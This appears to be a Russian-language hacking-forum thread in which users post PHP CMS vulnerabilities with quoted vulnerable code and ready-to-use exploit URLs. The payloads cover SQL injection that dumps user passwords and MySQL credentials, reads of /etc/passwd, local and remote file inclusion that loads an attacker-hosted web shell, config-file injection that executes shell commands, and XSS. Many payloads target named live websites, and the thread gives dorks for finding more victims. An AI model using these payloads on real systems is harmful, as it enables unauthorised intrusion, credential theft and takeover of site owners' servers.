Версия ядра обновилась.Целевая версия - 1.1.Как водиться,с обновлением, разработчики только прибавили дырок.
SQL-inj
File: downloads.php
if(isset($_GET['cat'])){
$result = mysql_query("SELECT * FROM xcms_downloads WHERE category=".$_GET['cat']." ORDER By id DESC") or die(mysql_error());
$content .=" <div class='post' id='post-8'> ";
while($downloads = mysql_fetch_array( $result )) {
$content .="
<table width='100%' cellpadding='0' cellspacing='1' class='tbl-border'>
<tr>
<td colspan='3' class='tbl2'><strong><a href='".DOWNLOADS.$downloads['file']."'>".$downloads['name']."</a></strong>
</td>
<tr>
<td colspan='3' class='tbl1'>".$downloads['description']."</td>
</tr>
<tr>
<td width='30%' class='tbl2'><strong>Added:</strong> ".$downloads['uploaded']."</td>
<td width='30%' class='tbl1'><strong>Uploaded by:</strong><b><a href='".BASEDIR."profile.php?view=".$downloads['uploader']."'> ".$downloads['uploader']."</b></a></td>
<td width='40%' class='tbl2'><b><a href='".$_SERVER['PHP_SELF']."?download=".$downloads['id']."'>Download (".$downloads['downloaded'].")</a></b></td>
</tr>
</table><br>
";
}
Target: Сайт разработчика:
http://sphere.xlentprojects.se/downloads.php?cat=1+union+select+1,id,3,4,username ,password,7,8,9+from+xcms_members+--+
Логинимся - мы администраторы.Не будем ничеготрогать,мы же не хокеры :(
Пропустим мимо глаз то,что уязвимы 70% всех файлов.В 1 вывод лучше всего,на нем и остановимся.
не надо логин-пароль писать
Update! Post: #127 (https://forum.antichat.ru/showpost.php?p=1273064&postcount=127)
RFI
Need: register_globals = ON allow_url_include = ON
File: /BLOX/scripts/editPageParams.php
раньше была скуля,теперь там rfi :)
if (!$GLOBALS['user']['userIsAdmin'])
return;
QS($K, $B, $terms);
function QS($K, $B, $terms)
{
require_once $GLOBALS['bloxDir'] . "/functions/getPageParams.php";
if (empty($_SESSION['page']))
$pageId = $_GET['page'];
else
$pageId = $_SESSION['page'];
$pageParams = WA($pageId);
require_once $GLOBALS['bloxDir'] . "/functions/Proposition.php";
$H = new S('pageIsHidden', $pageId);
$pageParams['pageIsHidden'] = $H->O();
$H = new S('parentPageIsAdopted', $pageId);
if ($H->O()) {
$pageParams['parentPageIsAdopted'] = true;
$_SESSION['parentPageIsAdopted'] = true;
}
$B->C('pageParams', $pageParams);
include $GLOBALS['bloxDir'] . "/includes/submitButtons.php";
include $GLOBALS['bloxDir'] . "/includes/display.php";
} ?>
Target: ?user[userIsAdmin]=1&bloxDir=http://yousite.com/wso2.php?
File: /BLOX/script/chek.php
if (!$GLOBALS['user']['userIsAdmin'])
return;
LW($K, $B, $terms);
function LW($K, $B, $terms)
{
require_once $GLOBALS['bloxDir'] . "/functions/getBlockParams.php";
...
Target: ?user[userIsAdmin]=1&bloxDir=http://yousite.com/wso2.php?
Strilo4ka
28.12.2009, 05:55
Продукт: CMS-DIYAN CMS без MySQL
Скачать : http://cms-diyan.ru/index.php?file=download
ось: WIN
LFI:
линки:
http://dyian/index.php?file=\..\user\1.txt
http://dyian/index.php?file=\..\user\1.txt&news
include_once('php/function.php');
if (!isset($_GET["file"])){
$ret=vizov_file("index");
}
if (isset($_GET["file"])){
$file=$_GET["file"];
if (!ereg('^[^./][^/]*$', $file)) die("сработала защита от взлома!");
$ret=vizov_file($file);
}
function vizov_file($file)
{
$filedir="files/".$file;
if (isset($_GET['news']))$filedir="news/".$file;
if (file_exists($filedir)){
if ((isset($_GET["dlyadruzey"]))&&(@fopen("http://cms-diyan.ru/dlyadruzey/".$_GET["dlyadruzey"], "r")))$filedir="http://cms-diyan.ru/dlyadruzey/".$_GET["dlyadruzey"];
if (!file_exists($filedir))die('Не найден файл '.$filedir);
$handle = fopen($filedir, "r");
$ret[4] = ''; $i=0;
while (!feof($handle)) {
$buffer = fgets($handle, 4096);
if($i==0) $ret[0]=$buffer;
elseif($i==1) $ret[1]=$buffer;
elseif($i==2) $ret[2]=$buffer;
elseif($i==3) $ret[3]=$buffer;
else $ret[4].=$buffer;
$i++;
}
fclose($handle);
Magazin IT online (Design & Development by Twenty Advertising)
http://www.accessdatamedia.ro
SQL
stiri.php
if(isset($_GET['id']) && ($_GET['id']!=""))
{
$where=' WHERE `news`.`id_news`='.$_GET['id'];
}
mysql_select_db($database_conn, $conn);
$query_news = "SELECT * FROM news ".$where;
http://www.accessdatamedia.ro/stiri.php?id=-100+union+all+select+1,concat_ws(0x203a20,version( ),user(),host,user,password,file_priv),3,4+from+my sql.user+--+
certificare.php
$query_news = "SELECT * FROM `certifications` where id_certification=".stripslashes($_GET);
http://www.accessdatamedia.ro/certificare.php?id=-3+union+select+1,2,load_file(0x2f6574632f706173737 764),4+--+
BlognPlus
http://www.blogn.org/
SQL
index.php
case "e":
$blogn_entry_id = @$_GET["e"];
$blogn_skin = preg_replace("/\{SEARCH\}[\w\W]+?\{\/SEARCH\}/", "", $blogn_skin);
$blogn_skin = preg_replace("/\{PROFILES\}[\w\W]+?\{\/PROFILES\}/", "", $blogn_skin);
$blogn_skin = preg_replace("/\{COMMENTLIST\}[\w\W]+?\{\/COMMENTLIST\}/", "", $blogn_skin);
$blogn_skin = preg_replace("/\{COMMENTNEW\}[\w\W]+?\{\/COMMENTNEW\}/", "", $blogn_skin);
$blogn_skin = preg_replace("/\{TRACKBACKLIST\}[\w\W]+?\{\/TRACKBACKLIST\}/", "", $blogn_skin);
$blogn_skin = preg_replace("/\{TRACKBACKNEW\}[\w\W]+?\{\/TRACKBACKNEW\}/", "", $blogn_skin);
$blogn_skin = blogn_entry_view($blogn_user, $blogn_skin, $blogn_entry_id);
nikkiFuntions.php
function blogn_entry_view($user, $skin, $entry_id) {
$skin = preg_replace("/\{LOG\}/", "", $skin);
$skin = preg_replace("/\{LOG[ ]+([\w\W]+?)\}/", "", $skin);
$skin = preg_replace("/\{\/LOG\}/", "", $skin);
$nextbackurl = blogn_mod_db_log_nextback_url($user, $entry_id);
db_mysql.php
function blogn_mod_db_log_nextback_url($user, $key_id) {
$sql_connect = @mysql_connect(BLOGN_DB_HOST.":".BLOGN_DB_PORT, BLOGN_DB_USER, BLOGN_DB_PASS);
mysql_select_db(BLOGN_DB_NAME);
$qry = "SELECT date FROM ".BLOGN_DB_PREFIX."_loglist WHERE id = ".$key_id;
http://hangulnikki.hanguk.jp/index.php?e=-100+union+select+1,2,3,4,5,6,7,8,9,10,load_file('/etc/passwd'),concat_ws(0x203a20,version(),user(),host, user,password,file_priv),13+from+mysql.user--
Product: TinX CMS
Author: cms.tinx.dk
Version: 3.5.2
Need: magic_quotes_gpc = off register_globals=on
Remote Code Executing
File: /admin/actions.php
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["cmsadmin"])) {
//echo "POST(".$_POST["cmsadmin"].")<br>";
$defaultdocumentid = $_POST["defaultdocumentid"];
$language = $_POST["language"];
$appendToTitle = $_POST["appendToTitle"];
$www = $_POST["www"];
$theme = $_POST["theme"];
$theme = $_POST["theme"];
$template = $_POST["template"];
$loginsystem = $_POST["loginsystem"];
$companyName = $_POST["companyName"];
$siteDesign = $_POST["siteDesign"];
$searchresult_quickid = $_POST["searchresult_quickid"];
$contact_quickid = $_POST["contact_quickid"];
$sitemap_quickid = $_POST["sitemap_quickid"];
$max_root_documents = $_POST["max_root_documents"];
//phpinfo();
$d = date("Y-m-d_h-i-s", time());
exec("cp " . $system["DOCUMENT_ROOT"] . "/inc/customer_config.php " . $_SERVER["DOCUMENT_ROOT"] .
"/inc/customer_config_$d.php");
$cfile = $system["DOCUMENT_ROOT"] . "/inc/customer_config.php";
$fh = fopen($cfile, 'w') or die("can't open file: No ACCESS TO FILE OR LIBRARY!!!!!");
$write = <<< html
<?php
/************************************************
Settings that can be changed - TinX/cms
*************************************************/
\$appendToTitle = "$appendToTitle";
\$companyName = "$companyName";
\$language = "$language"; /* da = danish, en=english.... make some up */
\$defaultdocumentid = "$defaultdocumentid"; /* If index.php is launched, this document id is called */
\$searchresult_quickid = "$searchresult_quickid"; /* search page QuickID */
\$contact_quickid = "$contact_quickid"; /* contact page QuickID */
\$sitemap_quickid = "$sitemap_quickid"; /* sitemap page QuickID */
\$max_root_documents = "$max_root_documents"; /* Max number of root elements in menu */
\$www = "$www"; // Url til websitet
\$theme["name"] = "$theme";
\$antalStatus = 2;
\$statusNames[0] = "Aktiv"; /* statusNames indeholder statuskoder for dokumentet - aktiv/inaktiv mv */
\$statusNames[1] = "Inaktiv";
/* Google Webmaster tools */
\$googlesitemap_path = \$www . "/googlesitemap.xml";
/* Show/Hide indtastningsfelter pе settings.php:
Skal feltet skjules intastes en default værdi, ellers "" */
\$settings_options["documenttitle"] = "";
\$settings_options["category"] = "Standard";
\$settings_options["template"] = "$template";
// LOGIN TYPE
\$login_system = "$loginsystem"; //values: phpBB - TinX
// Other settings
\$siteDesign = "$siteDesign";
\$siteDesignPath = "designs/" . \$siteDesign;
\$siteTemplatePath = "designs/" . \$siteDesign ."/templates/";
\$siteContainerPath = "designs/" . \$siteDesign ."/containers/";
if (file_exists(\$system["DOCUMENT_ROOT"]."\$prefix/inc/customer_vars.php"))
include(\$system["DOCUMENT_ROOT"]."\$prefix/inc/customer_vars.php");
else
echo "### ERROR: customer_vars.php NOT FOUND ###";
?>
html;
fputs($fh, $write);
fclose($fh);
Target: {POST} ?cmsadmin=1&appendToTitle=";system($_GET[cmd]);die();
http://yousite.com/inc/customer_config.php?cmd=dir
SQL-inj
File: /admin/actions.php
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["createobject"]) && $_POST["objectaction"]
=== "create") {
$id = $_POST["docid"];
$type = $_POST["objtype"];
$title = $_POST["objtitle"];
$location = $_POST["objlocation"];
$container = $_POST["objcontainer"];
$objlink = $_POST["objlink"];
$is_copy_of = $_POST["objlinkSubCat"];
if ($type == "existingContent" && $is_copy_of > 0) {
$obj_table = $objlink;
$type = mysql_fetch_array($sqlPtr->selectQuery("file", $tables["object_templates"],
"tablename='$objlink'"));
$type = $type[0];
$insert_as_copy = true;
} else {
$insert_as_copy = false;
$objlink = "";
$is_copy_of = "0";
}
$sqlPtr->selectQuery();
function selectQuery($what, $tablename, $where="", $other="")
{
//echo "Lookup: " . $this->antalLookups . "<br>";
$this->antalLookups++;
// $this->makeConnection();
if(strcmp($where,"") != 0)
$where = "WHERE $where";
$q = "SELECT $what FROM $tablename $where $other";
//echo "Q($q)\n";
if($this->isDebug){
echo "Query($q)<br>\n";
echo "HOST($this->dbhost)<br>\n";
echo "USER($this->dbusername)<br>\n";
echo "PASS($this->dbuserpassword)<br>\n";
echo "DB($this->default_dbname)<br>\n";
}
$result= mysql_query($q);
if(!$result)
$this->error_message($this->sql_error() . "<br><b>selectQuery($q) error</b>: $delete connected but not to table" );
// $this->closeConnection();
return $result;
}
Target: {POST} ?objectaction=create&objectcreate=1&objlinkSubCat=1&objtype=existingContent&objlink=1'+union+select+1,2,3,4,5/*
Пишите пожалуйста условия работы уязвимости, такие как:
magic_quotes_gpc
register_globals
allow_url_include
и т.д
//HAXTA4OK
evil-grin.com
читалка
index.php
import_request_variables("gP", "_");
$n = $_n;
$b = $_b;
if($n==''){$n = 'index.html';}
$node = "/var/www/evil-grin.com/jargon/html/".$n;
if($b == 'entry'){$node = "/var/www/evil-grin.com/jargon/html/entry/".$n;}
function parse_jargon($file, $b, $n){
$file = eregi_replace('\\\\', '', $file);
$file = eregi_replace(' ', '+', $file);
$pos = strpos($n, '/');
if($pos){
$pos++;
$m = substr($n, 0, $pos);
}
if(file_exists($file)){
$data = join ('', file ($file));
$data = eregi_replace('<html.*<body*>', '', $data);
$data = ereg_replace('src="html/graphics/', $data);
$data = ereg_replace("href=\"", "href=\"index.php?b=$b&n=$m", $data);
$data = ereg_replace("href=\"index.php\?b=$b&n=$m" . "entry/", "href=\"index.php?b=entry&n=", $data);
$data = ereg_replace("href=\"index.php\?b=$b&n=$m" . "\.\./", "href=\"index.php?n=", $data);
$data = ereg_replace("href=\"index.php\?b=$b&n=$m" . "http", "href=\"http", $data);
$data = ereg_replace("href=\"index.php\?b=$b&n=$m" . "mailto", "href=\"mailto", $data);
}else{
$data = "$file not found";
}
return $data;
}
http://evil-grin.com/jargon/index.php?n=../index.php
SQL
bmarks.php
import_request_variables("gP", "_");
$c = $_c;
$db = mysql_connect("localhost", "apache", "xyzzy");
mysql_select_db("evil",$db);
if($c == ""){
$result = mysql_query("SELECT id, cat, notes from lnk_cat ORDER BY cat",$db);
while ($myrow = mysql_fetch_row($result)) {
$oput .= "<DT><B><A HREF=\"bmarks.php?c=$myrow[0]\" CLASS=\"led\">$myrow[1]</B></A>\n";
$oput .= "<DD CLASS=\"text\">$myrow[2]\n";
}
}else{
$result = mysql_query("SELECT cat from lnk_cat WHERE id = $c",$db);
$myrow = mysql_fetch_row($result);
$cat = $myrow[0];
$result = mysql_query("SELECT id, uri, txt, notes from links WHERE cat = $c ORDER BY txt",$db);
http://www.evil-grin.com/bmarks.php?c=-3+union+select+1,2,version(),load_file(0x2F6574632 F706173737764)+from+mysql.user--
Product: SetCMS
Author: http://setcms.org
Version: 3.6.5
LFI
Need: magic_quotes_gpc = off;
File: index.php
if (file_exists("modules/$set/index.php")) {
if (file_exists("modules/$set/config.php")) {
include ("modules/$set/config.php");
}
include ("modules/$set/index.php");
Target: ?set=../rss.php%00
termassaojoao.com.br
Copyright: Andre Klunk - 2007 | Todos os direiros reservados
index.php
if($_GET[conteudo])
{
include("$_GET[conteudo]");
}
при allow_url_include = Off
LFI
http://www.termassaojoao.com.br/index.php?conteudo=php://filter/read=convert.base64-encode/resource=index.php
econsult.tv
c FreelanceFuture.com 2008
SQL
browse2.php
$nodeId = isset($_GET['id'])? $_GET['id'] : 0;
...
$strSql = "SELECT * FROM ".CLIPTBL." WHERE browsenode=".$nodeId." ORDER BY ranking".$pageSql;
http://www.econsult.tv/browse2.php?id=-21+union+select+1,2,3,load_file(0x2F6574632F706173 737764),5,concat_ws(0x203a20,version(),user(),host ,user,password,file_priv),7,8+from+mysql.user--
(PS /root очень близко)
jedit.org
LFI
index.php
$page = $_GET['page'];
if ($page == "")
$page = "main";
?>
<title> jEdit - Programmer's Text Editor -
<?php include($page.".title"); ?>
</title>
http://www.jedit.org/index.php?page=../../../../../../../../../../etc/passwd%00
//--------------------------------------------------
// Tiny Blogr 1.0.0rc4 (search) SQL Injection
//--------------------------------------------------
//--------------------------------------------------
//Author: Ctacok
//Date: 11 December 2009.
//Special for Antichat
//--------------------------------------------------
//
//Need:
//magic_quotes = Off.
//
//--------------------------------------------------
//Script info:
//Version: 1.0.0rc4.
//Author: Redlinesoft, Trilexcom .
//Official site: http://tinyblogr.sourceforge.net/
//--------------------------------------------------
//Vulnerabilty
///search/
//POST: txtKeyword
//Usage: exploit.php?url=target.com/path
// password = md5($password);
// 1%' union select concat_ws(0x3A73716C5F696E6A3A,memUsername,memPass word),null,null,null,null,null,null,null from tbl_epo_member --
^^
Просто нашёл на компе .txt файл с этим контентом, COPY + PASTE, и всё.
Переоформлять не стал, ещё время гробить =\
Product: Stash CMS
Version: 1.0.3
Author: http://sourceforge.net/projects/nice-stash/
SQL-inj & Download any files.
File: downloadmp3.php
function force_download ($data, $name) {
header("Content-Length: " . filesize($data));
header('Content-Type: audio/mp3');
header('Content-Disposition: attachment; filename='.$name);
readfile($data);
}
if(isset($_GET['download'])) {
$mp3id = $_GET['download'];
$query = "SELECT * FROM ".TBPREFIX."_mp3 WHERE mp3_id = '$mp3id'";
$result = $database->sqlQuery($query);
if($result) {
foreach($result as $result) {
$filename = $result['mp3_filename'];
}
$filepath = UPLOADSPATH.'/mp3/'.$filename;
force_download($filepath, $filename);
}
}
$database->sqlQuery
function sqlQuery($query, $return = TRUE, $complex = TRUE){
$this->result_set = mysql_query($query,$this->conn)or die("Query error: ". mysql_error());
if($return){
$query_results = array();
$i = 0;
while($row = mysql_fetch_array($this->result_set, MYSQL_ASSOC)){
foreach($row as $key => $value){
$query_results[$i][$key] = $value;
}
$i++;
}
if(count($query_results) == 1 && $complex == FALSE){
$tmp_result = array();
$tmp_result = $query_results['0'];
$query_results = array();
$query_results = $tmp_result;
}
mysql_free_result($this->result_set);
return $query_results;
} elseif(!$return && !$this->result_set){
mysql_free_result($this->result_set);
return FALSE;
} elseif(!$return && $this->result_set){
return TRUE;
}
}
Target: 3'+union+select+1,2,3,4,5,version%28%29+--+
Вывод в ошибке filesize();
Если скулю крутить лень,можно все сделать проще.
Target: ?download=3'+union+select+1,2,3,4,5,'../../admin/config.php'+--+
Файл который вам предложит скачать браузер - конфиг сервера,качать можно произвольные файлы,хоть etc/passwd,главное подобрать пути.
Маленькая зарисовочка.
Product: weEdition
Version: 6.0.0.7
Author: http://www.webedition.de/
Lfi:
Need: register_globals = on
File: /we/include/we_html_tools.inc.php
Target: ?WE_LANGUAGE=../../{LOCAL_FILE}%00
File: /delInfo.php
Target: ?WE_LANGUAGE={LOCAL_FILE}%00
File: /moveInfo.php
Target: ?WE_LANGUAGE={LOCAL_FILE}%00
File: /noAviable.php
Target: ?WE_LANGUAGE={LOCAL_FILE}%00
File: /noExist.php
Target: ?WE_LANGUAGE={LOCAL_FILE}%00
File: /notPublished.php
Target: ?WE_LANGUAGE={LOCAL_FILE}%00
Full Path Disclosing:
File: mozillamenu.php
Target: Enter you browser: /mozillamenu.php
Phpinfo()
File: phpino.php
Target: You logining, end enter you browser: phpinfo.php
Без кода,если смогу - завтра выложу.
mailbrush
05.01.2010, 00:06
Clean Nuke 1.1
Продукт: Clean Nuke
Версия: 1.1
Автор: matteoiamma (phpnuke.org)
Скачать: http://sourceforge.net/projects/cleanuke/
Local File Include
Условия:
Права администратора.
Уязвимая часть кода:
Сначала переменная $xlanguage заносится в БД в скрипте
/admin/modules/settings.php
...
$xlanguage = addslashes(check_words(check_html($xlanguage, "nohtml")));
...
$db->sql_query("UPDATE ".$prefix."_config SET ... language='$xlanguage' ...");
...
Далее, из БД достается значение файла языка, и почти без всяческой фильтрации оно инклудится в файле:
/mainfile.php
$result = $db->sql_query("SELECT * FROM ".$prefix."_config");
...
$language = check_html($row['language'], "nohtml");
...
include_once("language/lang-".$language.".php");
PS: Функция check_html проверяет наличие HTML-кода в переменной, и она нам не страшна.
Эксплуатация:
В панели администратора, в модуле конфигурации (admin.php?op=Configure) изменяем исходный код страницы, вместо
<option name='xlanguage' value='english' >
вписываем любой файл, например
<option name='xlanguage' value='english/../../index' >
Кроме этого, если есть права на сервере (н.п. один и тот же хостинг), можно записать файл в папку /tmp, и проинклудить его.
SQL - Инъекция
Условия:
magic_quotes = Off
Уязвимая часть кода:
/page.php
if (isset($_GET['pid'])){
$content_sql = $db->sql_query("SELECT * FROM ".$prefix."_pages WHERE active = '1' AND pid = '".$_GET['pid']."'");
}
Эксплуатация:
http://site.ru/cleanuke/page.php?pid=1'+union+select+1,2,3,4,5%23
SQL - Инъекция
Условия:
Права администратора.
magic_quotes = Off
Уязвимая часть кода:
/admin/modules/authors.php
function modifyadmin($chng_aid) {
...
$row = $db->sql_fetchrow($db->sql_query("SELECT aid, name, url, email, pwd, radminsuper, admlanguage from " . $prefix . "_authors where aid='$chng_aid'"));
...
Эксплуатация:
http://site.ru/cleanuke/admin.php?op=modifyadmin&chng_aid=-1'+union+select+1,concat_ws(0x3a,user(),database() ,version()),3,4,5,6,7%23
SQL - Инъекция
Условия:
Права администратора.
magic_quotes = Off
Уязвимая часть кода:
/modules/News/admin/index.php
function editStory($sid) {
...
$result2 = $db->sql_query("select aid from ".$prefix."_stories where sid='$sid'");
...
Эксплуатация:
http://site.ru/cleanuke/admin.php?op=EditStory&sid=-1'+union+select+1,2,3,4,5,6,7,8,9%23
SQL - Инъекция
Условия:
Права администратора.
magic_quotes = Off
Уязвимая часть кода:
/admin/modules/content.php
if (isset($_POST['pid'])){
$pid=$_POST['pid'];
} elseif (isset($_GET['pid_mod'])){
$pid=$_GET['pid_mod'];
}
$sel_page=$db->sql_query("SELECT * FROM ".$prefix."_pages WHERE pid = '$pid'");
Эксплуатация:
http://site.ru/cleanuke/admin.php?op=content&pid_mod=-1'+union+select+1,2,3,4,5%23
SQL - Инъекция
Условия:
Права администратора.
Уязвимая часть кода:
/admin/modules/feedbackplus.php
Line 119:
function editfeedback($fid) {
...
$result = sql_query("SELECT * FROM $prefix"._feedbackplus." WHERE fid=$fid", $dbi);
...
Эксплуатация:
http://site.ru/cleanuke/admin.php?op=editfeedback&lid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12
Дорк
Хотя название движка - Clean Nuke, дорк такой:
"Powered by WL-Nuke"
mailbrush
07.01.2010, 14:14
Shop-Script FREE
Продукт: Shop-Script FREE
Оффсайт: http://shop-script.ru
Скачать: http://www.shop-script.ru/shop-script-free/ru/shop-script-free.zip
Blind SQL-Инъекция
Условия:
magic_quotes = Off
Уязвимая часть кода:
/shop/includes/shopping_cart.php
$q = db_query("select in_stock from ".PRODUCTS_TABLE." where productID='".$_GET["add2cart"]."'") or die (db_error() . "<br>select in_stock from ".PRODUCTS_TABLE." where productID='".$_GET["add2cart"]."'");
$is = db_fetch_row($q); $is = $is[0];
//$_SESSION[gids] contains product IDs
//$_SESSION[counts] contains product quantities ($_SESSION[counts][$i] corresponds to $_SESSION[gids][$i])
//$_SESSION[gids][$i] == 0 means $i-element is 'empty'
if (!isset($_SESSION["gids"]))
{
$_SESSION["gids"] = array();
$_SESSION["counts"] = array();
}
//check for current item in the current shopping cart content
$i=0;
while ($i<count($_SESSION["gids"]) && $_SESSION["gids"][$i] != $_GET["add2cart"]) $i++;
if ($i < count($_SESSION["gids"])) //increase current product's quantity
{
$_SESSION["counts"][$i]++;
}
else //no item - add it to $gids array
{
$_SESSION["gids"][] = $_GET["add2cart"];
$_SESSION["counts"][] = 1;
}
header("Location: index.php?shopping_cart=yes");
}
if (isset($_GET["remove"]) && $_GET["remove"] > 0) //remove from cart product with productID == $remove
{
$i=0;
while ($i<count($_SESSION["gids"]) && $_SESSION["gids"][$i] != $_GET["remove"]) $i++;
if ($i<count($_SESSION["gids"])) $_SESSION["gids"][$i] = 0;
header("Location: index.php?shopping_cart=yes");
}
if (isset($_POST["update"])) //update shopping cart content
{
foreach ($_POST as $key => $val)
if (strstr($key, "count_"))
{
//select product's in stock level
$q = db_query("select in_stock from ".PRODUCTS_TABLE." where productID='".str_replace("count_","",$key)."'") or die (db_error() );
$is = db_fetch_row($q); $is = $is[0];
if ($val > 0)
{
for ($i=0; $i<count($_SESSION["gids"]); $i++)
{
if ($_SESSION["gids"][$i] == str_replace("count_","",$key))
{
$_SESSION["counts"][$i] = floor($val);
}
}
}
else //remove
{
$i=0;
while ($_SESSION["gids"][$i] != str_replace("count_","",$key) && $i<count($_SESSION["gids"])) $i++;
$_SESSION["gids"][$i] = 0;
}
}
Эксплуатация:
http://site.ru/shop/index.php?shopping_cart=yes&add2cart=72'+and+substring(@@version,1,1)=5%23
SQL-Инъекция
Условия:
magic_quotes = Off
Права администратора
Уязвимая часть кода:
/products.php
$q = db_query("SELECT categoryID, name, description, customers_rating, Price, picture, in_stock, thumbnail, big_picture, brief_description, list_price, product_code FROM ".PRODUCTS_TABLE." WHERE productID='".$_GET."'") or die (db_error());
Эксплуатация:
http://site.ru/shop/products.php?productID=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12%23
Blind SQL-Инъекция
Условия:
magic_quotes = Off
Права администратора
Уязвимая часть кода:
/shop/includes/admin/sub/catalog_products_categories.php
$categoryID = isset($_GET["categoryID"]) ? $_GET["categoryID"] : $_POST["categoryID"];
$q = db_query("SELECT name FROM ".CATEGORIES_TABLE." WHERE categoryID<>0 and categoryID='$categoryID'") or die (db_error());
$row = db_fetch_row($q);
Эксплуатация:
http://site.ru/shop/admin.php?dpt=catalog&sub=products_categories&categoryID=1'+and+substring(@@version,1,1)=5%23
SQL-Инъекция
Условия:
magic_quotes = Off
Права администратора
Уязвимая часть кода:
/category.php
$q = db_query("SELECT name, description, picture FROM ".CATEGORIES_TABLE." WHERE categoryID='".$_GET."' and categoryID<>0") or die (db_error());
Эксплуатация:
http://localhost/bug/shop/category.php?c_id=-1'+union+select+1,2,3%23&w=23
Дорк:
"Powered by Shop-Script FREE"
HAXTA4OK
08.01.2010, 21:30
Просто гугл выдал кучу таких сайтов
CubeCart™
Расскрытие путей
http://../modules/gateway/
ибо в этой папке есть файл Index.php а в нем
$module = "gateway";
include("../index.php");
?>
а в modules/ нету файла Index.php bgg =)
Dopk :Powered by CubeCart™
chinmaya.org
ViewSource
downloadfile.php
<?
$filename = $filename;
$ext = substr(strrchr($filename, "."), 1);
$bytes = filesize("downloadfile/$filename");
header("Content-type: application/$ext");
header("Content-disposition: attachment; filename=\"$filename\"");
header("Content-length: $bytes");
@readfile("downloadfile/$filename");
?>http://www.chinmaya.org/downloadfile.php?filename=../../../../../../../../../../etc/passwd%00
php.ini
magic_quotes_gpc = Off
register_globals = On
SQL
news_detail.php
$sqlnews = "select * from newsmaster where newsid='$nid'";
http://www.chinmaya.org/news_detail.php?nid=-123'+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_w s(0x203a20,version(),user(),database()),13,14,15+--+
acharya.php
$sqlach = "select * from acharyamaster where acharyaid='$id'";
http://www.chinmaya.org/acharya.php?id=12'+order+by+100+--+
events_detail.php
$sqlevents = "select * from eventsmaster where eventid='$eid'";
http://www.chinmaya.org/events_detail.php?eid=342'+order+by+100+--+
OwnRS
http://sourceforge.net/projects/ownrs/
index.php
$hledany_vyraz = $_GET["hledej"];
...
if($hledany_vyraz!="")
$pocet=MySQL_Query("SELECT count(id) FROM ".$db_prefix."clanky WHERE (nepublikovat = 0) AND (datum<now()) AND MATCH(nadpis) AGAINST('$hledany_vyraz')
OR MATCH(popis) AGAINST('$hledany_vyraz')
OR MATCH(clanek) AGAINST('$hledany_vyraz')
ORDER BY (10 * MATCH(nadpis) AGAINST('$hledany_vyraz')
+ MATCH(popis) AGAINST('$hledany_vyraz')
+ MATCH(clanek) AGAINST ('$hledany_vyraz'))");
...
if($hledany_vyraz!=""){
$vysledek=mysql_query("SELECT *, DATE_FORMAT(`datum`, '%d.%m.%Y') AS `casformat` from ".$db_prefix."clanky WHERE (nepublikovat = 0) AND (datum<now()) AND (datum<now()) AND MATCH(nadpis) AGAINST('$hledany_vyraz')
OR MATCH(popis) AGAINST('$hledany_vyraz')
OR MATCH(clanek) AGAINST('$hledany_vyraz')
ORDER BY (10 * MATCH(nadpis) AGAINST('$hledany_vyraz')
+ MATCH(popis) AGAINST('$hledany_vyraz')
+ MATCH(clanek) AGAINST ('$hledany_vyraz')) LIMIT $strana, $max") or die ("Chyba pшi prбci s databбzн");
$Obsah = '<h1>Vyhledбvбnн vэrazu '.$hledany_vyraz.'</h1>
<strong> Pro vэraz '.$hledany_vyraz.' nalezeny tyto zбznamy: </strong><br />';
$TitleWebu = 'Vyhledбvбnн vэrazu '.$hledany_vyraz.' - '.$TitleWebu;
}
$x=0;
//Sosбm data z databбze
while ($zaznam=MySQL_Fetch_Array($vysledek)) {
$zobrazeni = $zaznam['hint'];
$nadpis_bez_diakritiky = seourl($zaznam['nadpis']);
//Jakou verzi odkazщ vybrat?
if($pekna_url != 0){
$odkaz = $zaznam["id"].'-'.$nadpis_bez_diakritiky.'.html';
}else{
$odkaz = 'clanek.php?id='.$zaznam["id"].'-'.$nadpis_bez_diakritiky;
}
$id2 = $zaznam['kategorie'];
$casformat = $zaznam["casformat"];
$autor = $zaznam['autor'];
$jmeno_autora= mysql_query("SELECT nick FROM ".$db_prefix."autori WHERE id = '".$autor."'");
while($zaznam_autor = mysql_fetch_array($jmeno_autora)){
$nazev_autora = $zaznam_autor['nick'];
//poинtбnн poиtu komentбшщ a nбslednэ vэpis slova v rщznйm pбdм podle poиtu
$dotaz = "SELECT count(id) AS pocet FROM ".$db_prefix."komentare WHERE idclanku ='".$zaznam["id"]."'";
if($v = mysql_query($dotaz)) {
$r = mysql_fetch_assoc($v);
$komentare=$r["pocet"];
}else{echo "Chyba pшi prбci s databбzн";}
if($komentare!=0){
if($komentare<2)
$komentare_vypis = '<a href="'.$odkaz.'#komentare">1 komentбш</a>';
else if(($komentare<5)&&($komentare>1))
$komentare_vypis = '<a href="'.$odkaz.'#komentare">'.$komentare.' komentбшe</a>';
else if($komentare>4)
$komentare_vypis = '<a href="'.$odkaz.'#komentare">'.$komentare.' komentбшщ</a>';
}else
$komentare_vypis = '<a href="'.$odkaz.'#komentare">Rбdnэ komentбш</a>';
//Zji№>ovбnн nбzvu kategorie a pшezdнvky autora
$nazev_kategorie = mysql_query("SELECT nazev FROM ".$db_prefix."kategorie WHERE id = '".$id2."'");
while ($udaj = mysql_fetch_array($nazev_kategorie))
$jmeno_kategorie = $udaj['nazev'];
уязвим параметр $hledany_vyraz = $_GET["hledej"];
Passive XSS
http://localhost/Own_rs/index.php?hledej=1%3Cscript%3Ealert(121212)%3C/script%3E
SQL
mq=off
http://localhost/Own_rs/index.php?hledej=')+union+select+11,12,13,14,15,16 ,17,18,19,110,111,112;%00+--+
Запрос $vysledek=mysql_query("SELECT *, DATE_FORMAT(`datum`, '%d.%m.%Y') AS `casformat ...
записан в несколько строк, поэтому комментарии вида +--+ дают ошибку,
ставим более жесткий терминатор ;%00+--+.
Сработал $vysledek=mysql_query("SELECT ...
но это Blind SQL, попробуем получить вывод.
$autor = $zaznam['autor'];
$jmeno_autora= mysql_query("SELECT nick FROM ".$db_prefix."autori WHERE id = '".$autor."'");
$zaznam['autor'] берется из запроса $vysledek (поле с числом 17), сформируем иньекцию.
http://localhost/Own_rs/index.php?hledej=')+union+select+11,12,13,14,15,16 ,%2217'+or+1=1+limit+0,1+--+%22,18,19,110,111,112;%00+--+
появился вывод в полях 12, 13, 112
